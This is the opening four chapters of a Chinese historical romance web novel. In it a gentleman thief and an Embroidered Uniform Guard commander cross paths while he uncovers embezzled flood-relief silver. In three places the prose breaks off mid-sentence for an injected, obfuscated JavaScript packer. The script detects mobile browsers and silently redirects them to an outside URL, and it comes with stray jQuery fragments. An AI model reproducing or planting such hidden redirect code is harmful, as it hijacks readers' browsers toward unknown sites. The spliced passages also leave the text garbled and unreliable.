《阳焰空花》 1. 云中乔木 梁若鸢来到京城觉得热闹好玩,赖在民居里住了数月,一日天气不错,她将自己绑给了山贼。 临行前开门抓个小哥跑腿,塞了张银票在他手里,嘱咐道:“务必,务必啊,把聂未晨找来,你就说山贼点名道姓要他来。” “若鸢姐姐,那可是指挥使,我……这……”小哥拿着五十两巨款银票实属为难,早起上个寻常的工,要钱还是要命这种事一下子竟掉在他眼前。 梁若鸢拍了拍他,“哎呀,我都说了,这山匪祸及京城已有数月,你放心,他听了定来,你去就是。” 小哥捏着银票不答话也不走,她扳了他的肩将他往路上推,“这可是你干一年都挣不到的钱,就去镇抚司传句话,至少两年不愁,我梁若鸢何时坑过街坊邻居?” 小哥一脸苦不堪言,“没有何时,是时时,你可不能拿我的命开玩笑啊。” 四邻未起,梁若鸢清了清嗓子,低声道:“那是你们天真可爱,好事,我还给你们历练历练了不是?再说了,哪次不是带你们捞足了银钱?凡事要往好处想嘛!快去吧,去晚了就请不来了。” 小哥一面走一面回头,那镇抚司在皇城东南角,靠脚力许要走上大半天,他拐了个弯进了胡同,梁若鸢眼珠一转,该不会想溜吧?那银票也得还来啊。 她跟上一看,小哥牵了骡子正往外走,“你就放心吧,都跟你似的坑人?” “嘿嘿,有劳,有劳。”梁若鸢拱手拜了拜,目送他。 阜成门外十里,有山匪劫掠镖车商货,三法司屡次稽查皆无果,梁若鸢探到了去路,数日前曾暗中引路,竟遭捕快逮捕,以她戏弄官差为由,罚她挂牌示众。 “你们办不了事,我便把这功劳送给锦衣卫,让你们好心当作驴肝肺。” 她臂上挎了竹篮,往山路上走,摘了一箩筐的蘑菇,“迷路”到山匪寨子附近,探头探脑往寨子里看。 寨前守卫皆奇,持刀将她拦下,一人道:“哟,这是哪里来的美娇娘啊?” 梁若鸢假意怯笑,“那个……二位大哥,小女子迷了路,想问问下山往哪儿走?” “下山?”两名山匪相视一笑,另一人道:“别下山了,哥哥山寨里什么都有!” 他们将她推进寨子里,连拉带扯,梁若鸢随便挣扎了一番,他们将她送进了一间还不错的暖房中,捆了她双手双脚,推在床榻上,“小姑娘等着,寨主绝不会亏待你的啊。” 梁若鸢就这么等着,两腿并拢躺下,床上兽皮柔软舒服,她躺着躺着昏昏欲睡,有一下没一下的晃腿,“怎么还没来,该不会还要我亲自动手吧?我一姑娘家……那这多不好意思啊……” 门锁响了几声,进来个蒙面人,她勉强看了看,挣扎着起身,“你谁啊?别过来啊!” 那蒙面人生了一双看什么都不清白的眼睛,声音隔着面罩传来,一开口便是低柔暗哑,说话像是连哄带骗,“姑娘莫怕,在下先带姑娘离开。” 梁若鸢心底春水一晃,愣愣点头,双脚挪下床,背过身去以便让他解开绳结。 他指尖冰凉,一点一滴触在她腕上,几番拆解,麻绳松动落地,她起身随他往外走。 “诶?你等会儿!”她停在圆桌旁,沿着桌子退后,凭借面前桌椅与他隔开,“你先说说你是谁,虽说你那眼睛生得惊心动魄,声音亦是悦耳摄人,但我总不能见人就跟着走,那生得好看的可多了去了。” 她一番说道,眨了眨眼,似颇实诚?他将面罩解下,露出脸来,“在下锦衣卫指挥使,聂未晨,姑娘可安心了?” 梁若鸢倒吸一口凉气,“怎么……”,她想说:“怎么跟我想的不一样”,话到嘴边咽了下去,灵机一动,换出一句:“呃……怎么长得这么好看呢?” 聂未晨有些尴尬,扯了扯唇角,也不知自己有没有笑出来,只道:“姑娘还是快随我离开。” 梁若鸢连连点头,跟他出去,门外各处山匪皆倒在地上,她瞠目惊叹,抬起手指了一圈,“这都是你杀的?” “不是,我在各处放了毒烟,他们一时半会儿还醒不过来。”他从屋后牵出一匹马来,自己上了马,又朝梁若鸢伸手,“姑娘家住何处,我送你回去。” 梁若鸢搭了他的手,发现掌心是热的,指尖是凉的,“你淘水了?” 聂未晨一时没想起她问的是什么,与她对视片刻,视线移开,微微蹙了一下眉,又明白过来,“哦,不小心沾了点儿血,洗了一下,怕吓着姑娘。” 他将她环在身前,调转马头朝山寨望楼大门方向走,血腥气卷了梁若鸢一脸,她偷偷捏了一下鼻子,手掌在鼻前扇了扇。 “姑娘家住何处?”他再次问道。 梁若鸢双手抓着前面鞍桥,微微仰起脸,回头问他,“就你一个人吗?你们为何不趁机扫除这些山匪呢?” 高头大马出了山寨,聂未晨纵马疾驰,“此山寨事关朝廷,不便透露,不是说扫就扫的,姑娘还是告诉我家住何处,早些回家的好。” 天色已晚,星光万千,如此满脸寒风,乘月而回,且还两手空空?这可不是她梁若鸢的做派,她道:“我不是京城人,他们是从别处把我带来的。” 聂未晨将马勒停,蹙眉问道:“何处?” “呃……我说了您可能不信,但……我忘了……” “忘了?”聂未晨眼中闪过一道寒光,眉梢动了动,信是不信好呢? 梁若鸢睁着大眼睛看他,头点得有些僵硬,“是啊,聂大人,他们绑我的时候我就这样,‘砰’地撞到头了,醒来便忘了许多事。”她说着还做了个动作,表示是这样撞到的。 “哦……是吗?”聂未晨看她半晌,那一双眼睛滴溜溜地转,又聪明又不太聪明的模样,他接着道:“好,既如此,那姑娘跟我回府吧。” 聂未晨看马都不清白的眼神将梁若鸢唬得心跳上了嗓子里,她缩了一下脖子,转过脸去,“嗯……那就……叨扰大人了……” 两人一路未再说话,聂未晨身上的血味儿把她熏得有些昏沉,她跟着聂府亲兵在东厢房落了脚,洗了个澡才发觉自己进门之后没再见过他。 她趴在窗台上,抬头看着星月相伴斗转,许久,夜到最浓时,她关窗吹了灯,蹑着手脚摸出门去。 寻着暗处绕过几处屋舍,“咔嚓”一声,她又开了把新锁,两眼放光往屋里走,摸到满室架柜空空,她身形一闪,帘帐不摇不晃,就着窗外洒下的月光摸过桌案,将抽屉柜门尽开,眉头一拧,“这锦衣卫指挥使居然家徒四壁?!” 她从屋里出来,越想越奇,怎会什么都没有呢?这府宅乃皇帝御赐,正门五间三启,碧色琉璃亦非寻常官员能用,早前还没人住时她便来过,如今库房门前汉白玉石阶两侧铜狮鎏金,狮子眼睛乃是南洋进贡的红宝石,可她总不能把狮子眼睛抠下来,最大的问题便是根本抠不下来…… 本想着随便顺走几件儿也够街坊邻里安乐数月,此行也不算白忙活,可如今竟是与无人住时一样,什么都没有,唯独园中流水落花不似早前寂寥,她四处张望一番,自语道:“也是,都没人看守,许是不在此处的。” 她自言自语,将门锁插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762581|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,身后传来脚步声,一回头,人已在她身后,“姑娘这是……”聂未晨手里拿着几页桑皮纸,纸上字迹密密麻麻,她扫过一眼,似是名册,没再多看,一点儿不敢。 她退了一步,肩背撞在门上,房门折扇雕花,铜锁松落,晃荡出一阵铜木相撞的响声,她侧身扶了一下,站直道:“大人,您怎么那么晚还没睡啊?” “刚从昭狱回来。”他言简意赅,看了一眼房门,又问道:“姑娘半夜在这库房门前做什么?” 身后铜锁还未锁上,她挡在门前,指了指身后,手心冒汗,“哦!这不是挑床,睡不着嘛,走着走着到这看见这锁颇奇特,研究了一下嘛。” 他低头轻笑,抬眸问她,“那开了吗?” 梁若鸢出了手心冒汗,脊背发凉,昭狱可不是她愿意去的,硬是得意起来,“开了开了,果然是精巧,这不是准备锁回去嘛,您就回来了。” 聂未晨挑眉点头,“正好,不用锁,我进去放东西。”他摆了摆手,示意她让开,“夜深了,姑娘回去歇着吧,我已派人去帮你找家人了。” 啊?该不会去查她底细了吧?梁若鸢一点点挪开,问道:“谢大人……可不知……如何找?” 聂未晨推开门,忽然想起什么,跨进屋里的脚又退了出来,“是了,还未问姑娘姓名。” 梁若鸢想了想,“乔乔,云中乔木的乔。” “云中乔木?” “嗯,好听吧,是我自己取的。” 聂未晨一笑,俯身靠近她,“乔姑娘不是忘了自己从哪儿来嘛?” “那又如何,不妨碍我记得我是谁啊。”她黛眉扬起,说得理所当然。 他直起身看她,点头道:“嗯,可以。”他走进库房里,高脚几案正对房门,放了些书卷,唯一一尊瓷瓶插了些卷轴,不知是画是书,他将案上瓷瓶转了半圈,墙内发出机轴转动的声音。 梁若鸢探头去看,屋里正对着门口的一面墙轰隆隆地退开,挪出了一道门,门内漆黑一团,聂未晨用火折子点了壁上油灯,将灯提在手里,回头道:“乔姑娘可要进来看看?” “啊?可以吗?”此话出乎意料,梁若鸢晃了晃神,才发现自己已经伸着脖子张望,身子都探进去了半截,她忙退在门外,双手挡在胸前摇了摇,“不不不,不了吧,万一大人丢了东西赖在我头上,我可不想去昭狱里看着渗血的墙听那人骨头碎掉的声音,若如此游览一番,我怕是经年累月也睡不着觉了。” 聂未晨眼神失焦片刻,眉峰动了动,眨眼回神,“姑娘想必也知道,昭狱从不接受游览,我心想也没人敢偷东西偷到锦衣卫家里,对吧?” 他往那密道里走,没喊她,也没关门,梁若鸢看着投在墙上的光渐渐没入黑暗中,站在外面抿嘴思量,一跺脚,跑了过去,“大人!大人你等等我!” 聂未晨停下转身,手中灯火晃动,在他脸上投出瘆人的光影,梁若鸢脚步一顿,往后挪了一寸,他居然当真等她。 “怎么?又不怕了?” “大人请我来的,我总不能不给面子嘛,多不合适啊您说是吧?“梁若鸢指了指身后,“那个……门要不要关一下?” “没人敢偷到我府里来,乔姑娘懂我的意思吗?” 梁若鸢点头迟疑,“呃……懂……?”她尾音拉高,似懂非懂,眼珠转了一圈,又道:“锦衣卫……是挺可怕的哈?” 聂未晨上下打量她,此女身份不明,无端有百姓前来报信,那山寨请他亲临便更是荒谬,他微微白了一眼,执灯前行,“倒是没看出你怕……” 2. 速毁证物 暗道所往似是不归处,走了许久不见到头,梁若鸢有些乏累,打起了哈欠,聂未晨稍稍看她一眼,无声浅笑。 京城数月来多有富庶人家丢失财物,北厢大功坊民宅一带却少有的欢天喜地夜夜歌舞,也不是什么大事,蓝羽和燕十过去看了几眼,“大人,许是有小贼进了京城,抓不抓?” 他本觉得没什么好抓的,小贼劫富济贫,也不过动了那些个官员富商九牛一毛的分量,而眼前这女子……算了,便当不知吧。 密室铁门有两重转轮,他未避开她,当着她眼前左三右五将转轮转了一番,门内机关“砰”地一声,梁若鸢吓了一跳,“妈呀!” 聂未晨将门推开,室内金银满地,珍宝珊瑚闪闪发光,他将手中几页记册放在木架上的盒子里,盒子有锁,开了便见里头还有别的纸张,都有字迹,梁若鸢站在门口远观,身子不动,眼珠乱转。 聂未晨将木盒盖好,锁上,机关锁嗒嗒响了几声,他转过身来,“姑娘可有喜欢的?拿走留作纪念?” “啊?不了吧?”梁若鸢口是心非,笑了笑,“那这多不好意思啊……” 聂未晨眸中寒了三分,拔出绣春刀挑起一串南珠伸到她面前,“这个送姑娘留作纪念,望姑娘笑纳,多了……可就有些为难了,毕竟都是御赐之物,若流入民间,怕给姑娘惹来麻烦。” 传闻南珠乃月华所凝,鲛泪所化,色如银,光如雪,置于暗室亦莹然生辉,梁若鸢第一次见,可那绣春刀她也是第一次见,寒意自眼前扑来,她脖子往后缩了缩,强颜欢笑道:“呵呵,那……” 她指尖抵住刀尖,微微使了些力气将挂着珠串的刀刃推开,“那个……还是不用了,大人救我性命,我怎么好又吃又拿呢?” 聂未晨眉梢扬起,笑道:“你确定?” 眼前飞鱼服玄青绣金,鳞甲层叠,鱼尾翻卷似云翔,金线暗绣泛着寒光,她也是第一次见,起了一身粟,点头道:“确定,大人,您……留着吧。” “好啊。”聂未晨将刀上珠串抛下,收刀入鞘,“那走吧,乔姑娘。” 梁若鸢点着头,跟他往回走,密道还是来时的模样,路径没变,方向没变,气味还是方才的气味,她目光落在脚下,数着步数,一团黑影窜过,“吱吱”叫了两声,她吓得大叫。 声音在密道里回响,聂未晨一下停住,还未回头,她从身后将他抱住,脸埋在他背后,温热的呼吸透过飞鱼服沁在他的脊背上。 他侧目回头,只看见她头上几朵珠花,“你怕老鼠,却不怕我?” “嗯?”梁若鸢抬起脸来,下巴抵在他背后,“大人怎么说也是个人,可老鼠是老鼠啊。” “锦衣卫是人?我倒是头次听说。”活人贴在身上原来是这样的感觉,他站了一会儿,拍了拍她交叠在自己腹前的手,“老鼠已经跑出五里地了,乔姑娘可以松开了。” 梁若鸢蒙蒙松手,想起来有些冒犯,打心里不好意思,“哦,那什么,大人这飞鱼服手感还不错。” “手感?”从未听闻有人评论飞鱼服的手感,聂未晨扯了扯嘴角,也不知道自己该不该笑。 他继续往外走,梁若鸢在心里接着数步数,两人从密道里出来,库房门扇依旧开着,与方才进来时一模一样,只是门外多了两个人,皆是锦衣卫。 梁若鸢心里一咯噔,不是来抓她的吧?她退在聂未晨身后,心里默默去赌,“不是我不是我不是我不是我。” 聂未晨道:“把乔姑娘送回东厢房。” “哈哈,不是我!”她脱口而出。 三个锦衣卫皆愕住,三双眼睛皆看着她。 聂未晨将手里的油灯放在桌上,“乔姑娘是说……他们抓的不是你?” “呃……”梁若鸢维持这脸上欢喜,尽量坦然道:“谁也不希望被锦衣卫找上门来,大人也是知道的嘛……” 聂未晨眼中似生了索命的钩子,要钩了她的魂往外挑,她不敢多看他,低下头,走到门口,“那就……有劳二位大人了。” 蓝羽和燕十皆寻求指示,聂未晨挑眉点头道:“去吧,多点几个人,好好伺候乔姑娘。” 梁若鸢脊背一直,不会吧?不至于吧?她可还什么也没干呀……她猛地回头,双眼锃亮,“大人,您累不累?不累的话,我给您做个夜宵,以报答您救命之恩啊。” 聂未晨未料到这一出,懵然一瞬,躲开她,“不必了,你回去呆着就是。” 梁若鸢松了口气,“回去呆着”很明确,甚好,她退身一拜,“是,民女告退。” 月朗星稀,神清气爽,聂府各处园景似水墨晕色,她且走且看,跟着蓝羽、燕十回到东厢房,躺下,听见关门声,睡着了。 聂未晨掀起窗扇看了看,松手关上,“有何进展?” 燕十道:“大人,这是南方水患赈灾银两的调拨记录。” 蓝羽将账册呈在聂未晨面前,“大人请看,这数目,似乎有些对不上。” 聂未晨将账册接下,指尖捏了纸页一角,一页页翻过,最后一夜合计数字落在他眼中,“吃这么多……”他瞳眸微微收紧,将账册合上,目光扫过园中几盏庭灯,瞳中落入星火,“查,五十万两白银,从户部到州府,每一两银子都要查到去向。” “大人,周侍郎最近在城南秘密购置了一处五进宅院,填在了家中小妾的幼子名下。”蓝羽低声说着,又递上了几份文书,每一份都指向一个名字,户部右侍郎周文焕,“有弟兄发现,他府上近日多了几幅字画,都是名家所出,据说是城中富商所赠。” 燕十走近一同细瞧,“大人,一个四品侍郎,年俸不过二百两,哪儿来的钱?” 聂未晨将文书还到蓝羽手中,“周文焕再吃十个豹子胆也没这气魄在我眼皮底下摆尾,他不过是条小鱼。” “卑职已派了几个弟兄盯紧了周府。”蓝羽将文书收好,看了一眼紧闭的窗扇,“昨日有工部的人从周府东角门拜访了周府,是一个瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762582|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的家丁接他进的门,待了不止两个时辰。” “工部?”燕十忽然提高了声音,“去年黄河决堤,工部领了八十万两修堤款,那账目我看过,虽无大错,但漏洞百出,不清不楚。” 聂未晨眼中精光一现,“你去查,我要确凿的证据。” 帝京已是夜深人静,周府后院灯火续昼,周文焕身着一身暗花素袍,正与书房中一名商人模样的男子低声交谈。 那男子生得白净,算盘打多了,脸上亦是一副惹人疏离的精明与算计,他道:“大人放心收下就是,南海明珠十颗市值三千两,路上都打点妥当了,绝不会有纰漏。” 周文焕愁眉不展,手中佛珠捏得打滑,“张员外,我是信你的,只是心慌这种事,不是说平就平的,还望张员外多加小心,千万谨慎。”他将紫檀珠串放下,端起琅彩杯子抿了口茶,压低了声音道:“最近镇抚司盯得紧啊。” 他正要接过那张员外呈上的锦盒,门外忽然传来管家的声音,“老爷,工部徐大人派人送信来了。” 周文焕脸色瞬变,迅速收了锦盒放入身后小屉中,“张员外,今日就到这里吧,你先回去,事情务必办妥,定有重酬。” 张员外识趣,速速起身,自小门绕出,随家丁离开,管家递上一封信,周文焕看着他身影出府,方才打开信纸,一看,脸色煞白。 寥寥几字方方正正,横竖撇捺点,皆似恶鬼朝他伸手,“锦衣卫已知,速毁证物。” 墙外阴影中,飞鱼服微光晃动,燕十轻巧翻身上房,似猫般无声无息,落在墙外一颗老树上,盯着书房窗户里的动静。 周文焕的身影在窗子里手忙脚乱,从书架暗格中取出了几本账册,正要投入火盆中,忽又停住,也不知在犹豫什么,他又将账册重新收好,只烧掉了方才送来的那封信。 燕十目现一丝笑意,从树上跃下。 翌日,聂未晨绕路到东厢房,看过还未睡醒的梁若鸢,便往镇抚司去,燕十顶着乌青的眼圈从聂府门梁上跃下,“大人,鱼上钩了。” 聂未晨张了张嘴,有话没说出来,点头道:“传令下去,明日早朝后,我要面见陛下,禀报南方赈灾事宜。”他说着便出门去,回头道:“你今日不准到镇抚司来。” 梁若鸢起时日上三竿,聂府在民间俗称阎罗殿,孩子们都绕着走,可不知为何无甚看守,唯她房前有几个亲兵站着?她假意要去茅厕,晃晃悠悠便又到了库房,开了门入了密室,将昨夜聂未晨要送她的南珠串拾起,“那么多,你又那么忙,丢了哪个你知道吗?” 她将珠串踹进怀里,晃晃悠悠又出了门,密道门退回原位,她又拾起瓷瓶里的卷轴来看,“这是什么?” 她随手解了系绳,没拿稳,卷轴松落展开,一端落地,摔出了响声,她心里一搐,看了看没关的门,见无人来管,她松了口气。 卷轴高不足四尺,澄心堂纸描了一副女像,却无脸面,颇怪异,“谁啊……这么吓人……” 3. 不必绕路 画中女子立于绢本上,墨色晕出衣袂似翩扬于风中,无黛眉,无水眸,腰侧有一枚环佩,纤指执扇,扇面蝶戏牡丹。 梁若鸢看了又看,发觉画角一方朱印,有些斑驳,她捧起细看,依稀看见“聂未晨”字样,方寸之间有些歪斜重影。 “阎王会画画,居然还画女子。”她将画轴收起,放回瓶中,“走喽~” 门一关上,屋后便有锦衣卫跑过,她赶紧上了房梁,“别别别别别别别……” 碎碎念着,几个锦衣卫跑了过去,像是要出门?她捂着胸口长出了口气,“福大命大必有后福。”她打了个响指,又道,“完美。” 她从梁上荡下来,稳稳落在屋檐外头,“早走早超生,不见不见。” “乔姑娘是要去哪里?”燕十睡在连廊上,听见有人说话,睁了眼,天光耀目,他眯着眼往院子看,梁若鸢整个人僵在太阳底下,他问道:“乔姑娘不热吗?站在那里做什么?” 梁若鸢确认了自己脸上的表情,笑着转过脸来,“是这位爷啊,我睡醒了走走,晒晒太阳强身健体。” “姑娘生得白,看不出是晒太阳的人,倒像昼伏夜出的。”燕十伸了个懒腰,拿起了绣春刀。 梁若鸢背后渗出一身汗,不知是热是冷,“我这是体质白,体质白。” “体质白?”燕十看了看自己,“真好,我有这体质就好了。” 府中亲兵来报,“大人,周文焕下朝回府,不知今日为何途径此处,现在门外打转,卑职有问,他不说,只说等着大人回来。” 燕十笑了笑,“嘿嘿,让他转着,当看不见。” 锦衣卫跟户部有过节?梁若鸢看着地面眼珠一转,南方水患? 周文焕顶不住日晒,终于回府,管家惊忙跑来,“老爷,不好了,锦衣卫的人刚刚查封了城南张员外的货栈。” 周文焕还未来得及进屋,笏板落在地上,摔裂了一角,“什么时候的事?” “就在半个时辰前!说是搜出了许多官盐和丝绸,张员外已被押往诏狱了!” 周文焕额上渗出冷汗,眼眸一亮,大步走向书房,从暗格中取出账册,塞入怀中,“备轿,我要去徐大人府上!” 轿子刚出府门,蓝羽便已盯上,轿子七拐八绕,刻意得明显,最终停在工部尚书徐有贞的府邸西角门外。 “徐有贞?”蓝羽派人回报,聂未晨将手中铁鞭扔下,“果然如此。” “大人,蓝佥事问要不要现在就拿下周文焕?” “不急。”聂未晨摇头道:“徐有贞背后,还有更大的鱼。” 梁若鸢趁夜出门,碧色琉璃瓦在她脚下丝毫不滑,几番伏低跨越,她躲过了为数不多的亲兵翻出墙外。 周府书房还亮着灯,她悄悄落入宅院中,打晕几个家丁之后,摸到了库房门口,发簪一绞,铜锁“嗒”地一声打开。 房中木箱翻开,几大箱白银闪着光,似周文焕的天灵盖翻开,进水的脑子里全是银子,莹莹闪闪正在透气。 她目入光华,拿起几锭银子放进带来的包袱里,又拿了几锭,掂了掂,“都是你偷来的,这些本就该是我们这些小老百姓的。” 她不断将银子往包袱里塞,没发觉身后来了人,聂未晨蒙面黑衣而来,“姑娘要这些赈灾银做什么?” 声音刻意掐紧,梁若鸢没听出来,刚拿起的银子脱了手,落在这黑衣人手中,她抱紧包袱后退,斥道:“行内规矩,先到先得,你偷偷摸摸是要害我?算什么本事?” “这些是赈灾银,应交给锦衣卫处置,姑娘要带去何处?” 黑灯瞎火,看不起人面,梁若鸢往后退,将自己的脸遮在阴暗处,“既是赈灾银,那便该在我们这些百姓手里,凭什么给锦衣卫?我还就要把锦衣卫的都偷走,分给穷苦百姓呢。” “锦衣卫又得罪你了?”聂未晨压了一侧眉,不甚理解。 梁若鸢将手中包袱系好,背在身上,“看着有钱,不爽,南方水灾死了多少人,多少人无家可归,多少人无米为炊?可锦衣卫倒好,风风光光打着捉拿奸佞的旗号,家中珍宝数不胜数。” 聂未晨叹气道:“都是朝廷所赐,锦衣卫也是人啊……” 梁若鸢一顿,无言反驳,道:“不与你说,让开,我要走了。” 聂未晨退在门后,低声道:“姑娘出门左拐,翻过墙头便可离开,不必绕路。” 这同行不错,还送她退路,她走到门前又转过身来,聂未晨退入阴影中,“姑娘还有何事?” “你这同行还不错,我告诉你吧,工部尚书府中还有更多,不过他藏得很好,在自己房中,我好不容易才偷了些许,你若有本事,也可去试试,总好过落在他手里,你看他肥得流油,看着就恶心。” 聂未晨低眸一笑,“好,多谢。” 翌日早朝,周文焕心神不宁,正德皇帝朱厚照高坐在龙椅上,户部尚书因病告假,由周文焕代为奏报。 “陛下,南方水灾赈灾事宜已安排妥当,灾民得到妥善安置……”周文焕的声音有些发颤,不敢抬头。 “是吗?”朱厚照突然打断他,尚且年轻的脸上似笑非笑,“朕怎么听说,灾民还在吃树皮呢?” 周文焕登时跪倒,“陛下明鉴,微臣……微臣……” 聂未晨走入殿中,双手呈上一摞文书,“陛下,臣有本奏。” 皇帝抬了抬手,“聂爱卿请讲。” 聂未晨环视一周,目光在徐有贞身上停留了一瞬,朗声道:“臣奉旨稽查南方赈灾银两去向,发现户部右侍郎周文焕贪墨赈灾银十五万两,证据确凿,请陛下过目。” 御前太监将文书呈上御案,朱厚照一一翻阅,大殿寒意渐起,随着朱厚照脸色越来越阴沉,殿内朝臣似都屏住了呼吸。 百官鸦雀无声,徐有贞额角已渗出细汗,他手背擦了擦,低头呼吸。 “周文焕!”皇帝猛地拍案,轰响在殿中回荡,“你可知罪?!” 周文焕面如死灰,伏地颤抖,“陛下饶命!臣……臣是一时糊涂啊!” “一时糊涂?”朱厚照冷笑道:“朕看你是胆大包天!来人!将周文焕拿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762583|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,交由镇抚司严加审讯!” 周文焕三魂尽散,两名锦衣卫即刻将他拖了出去,徐有贞脸色由苍白转为铁青,聂未晨看了一眼,持刀侧立。 聂未晨站在大殿里似一尊阎罗般带着地府的气息,百官暗暗自查,奏至无可再奏,终于退朝。 聂未晨独自离开,无人与他同行,他自己看着路面上的砖石在太阳底下扭曲变形。 刚出午门,一小太监匆匆跑来,“聂大人,陛下口谕,命您即刻面圣。” 昭德殿内,朱厚照正在把玩一柄精致的匕首,戏箱敞着,满是鞑靼袍,戏子冠带,聂未晨进来,他头也未抬,“聂爱卿,此案你怎么看?” 聂未晨恭敬道:“陛下,周文焕不过是小鱼,背后必有主使。臣怀疑工部尚书徐有贞牵涉其中,甚至……” 朱厚照用匕首尖端挑了鳄皮琵琶的弦,“甚至什么?” “甚至可能涉及宁王。”聂未晨低声道,“臣查到部分赃银流向了江西。” 朱厚照目光一凛,抓起象牙双陆棋和几枚镀金骰子扔在门上,声音沉在胸口处,如恶兽低吼,“可有证据?” 聂未晨一膝跪地,“眼下尚无确凿证据,但臣已派人加紧调查。” 朱厚照沉思良久,忽然将匕首钉入梨木案几中,“查!一查到底!无论涉及谁,绝不姑息!” “臣遵旨。” 聂未晨自昭德殿出来,顺路便在宫中巡视了一番,出宫时天色已晚,有锦衣卫出宫换值,便与他同行。 三人途经一处暗巷,有星点自阴影中射出,他侧身一闪,三支牛毛针自他脸颊擦过,直直钉入他身后土墙中。 “有刺客!保护大人!”随行的锦衣卫拔刀相护,黑暗中,数道黑影从房顶跃下,霎时刀光剑影。 聂未晨脸侧微痛,有血滑落,流入嘴角,他手中绣春刀寒刃如月,斩下两名黑衣蒙面之人,转身一霎,暗处一柄长剑刺出,捅入了他的左肩。 雁翎剑青灰色波浪纹如鸦羽叠层,聂未晨一眼便认出了来历,心中一震,“是东厂的人。”他强忍痛觉,反手一刀将持剑者毙命。 一名锦衣卫将聂未晨搀扶回府,一名前往镇抚司带人于小巷中抬回五具刺客尸首。 燕十端着碗正吃饭,把碗一扔,上前聂未晨扶住,“大人!大人,我才歇一日您这是怎么了?!” 聂未晨已脸色煞白,白了他一眼,按住穴位给自己止了血,“看来我们捅到马蜂窝了……曹化成这条老狗终于坐不住了。” 他喘了口气,示意燕十回房,“你,一会儿便去镇抚司,立刻提审周文焕,务必在天亮前拿到口供。” 梁若鸢啃着饼从东厢房出来,远远看见燕十架着聂未晨往内院走,“这是怎么了?给自己上刑了?” 她绕着路跟过去,职业毛病,翻墙掠瓦而不自知,蹲在了房顶上,“哇,看来伤得还挺重的嘛。”她咬了口饼,趴在瓦上看着。 聂未晨走到房门口,松开燕十,命他退下,抬头望向正对面的屋顶,“乔姑娘何事?……爬那么高当心摔下来。” 4. 防身之物 夜色沉沉,聂未晨说完,只听闻一片寂静,梁若鸢伏在瓦上,故意不答,嘀咕道:“反正你受伤了,上不来……” 聂未晨一身飞鱼服已浸了半身血迹,看了一眼自己的伤口,纵身一跃,足尖点了廊柱借力腾空,落在梁若鸢身旁,“乔姑娘是在……” 梁若鸢双目一怔,坐起身来,举起手里的饼,“吃饼。”抬手指了指天上明月,“赏月。” 聂未晨指缝间渗出暗红的血,脸色苍白如纸,强撑着又道:“下去赏,聂府房顶放过尸体。” 梁若鸢瞳孔一缩,尴尬笑了笑,“好,是,大人。”她身形如燕,轻盈跃下,脚尖触地一瞬亦无声无息。 “聂大人。”她回头唤道。 聂未晨一阵晕眩,跪倒在她跟前,眼中闪过一丝警觉,欲要起身,腿脚却不听使唤,支不起来。 他勉力甩了甩头,眼花更甚,脚下青石地面亦开始有些漂浮,“该死的曹贼……”他低声咒骂,双手握紧了拳头。 “你……怎么了?”梁若鸢将饼塞进嘴里,含含糊糊问他。 “你去睡吧,别乱走。”他嗓音低哑,带着极度疲惫的喘息,用尽力气站起身来。 梁若鸢没答话,目光落在他肩头伤口上,血在发黑,衣袍穿破,似是剑伤,“雁翎剑?!” 聂未晨目光一凝,“乔姑娘,知道太多不是好事。”他从她身旁绕过,拖着脚步,极虚弱的样子。 梁若鸢忙跟上他,将他一臂架在自己肩上,“雁翎剑有毒,我知道的可多了,指挥使可要灭我的口?” 聂未晨看她一眼,无力再答,看着她踢开房门,将他扶进房中,又掏了袖中火折,点了灯。 “你先呆会儿,我找点儿水来。” 她在耳房里寻了壶温水,将他张鳍怒目的飞鱼服解下,只见他左肩伤口皮肉翻卷,血色已然发黑。 她眉头皱紧,扣住他的手腕,按紧:“大人别动,这毒不轻。” 聂未晨下意识地想挣开,却发觉她已将他骨节死死压住,低叹一声:“……无妨,我自己来就好。” “你自己来?”梁若鸢鄙夷道,“等你摸索着上完药,毒已攻心了,明日京城就出了大案子,北镇抚司锦衣卫指挥使英年早逝,定有人谋害,查!大人是觉得倒也不错?” 她不由分说,一把拽住他的衣袖,将他手臂固定住,聂未晨伤口一痛,闷哼一声,终是没再说话。 烛火映照出聂未晨苍白的脸,梁若鸢将他伤口各处擦拭一遍,从怀里捻出自己随身的金疮药和解毒散,将耳房里找来的布巾丢在桌上:“脱了。”她命令道。 聂未晨抬眸看她,眼中闪过些复杂的情绪,解开另一侧衣襟,将飞鱼服连着里衣褪至腰间,满是伤痕的身子有些狰狞可怖,伤口四周已开始发青泛紫。 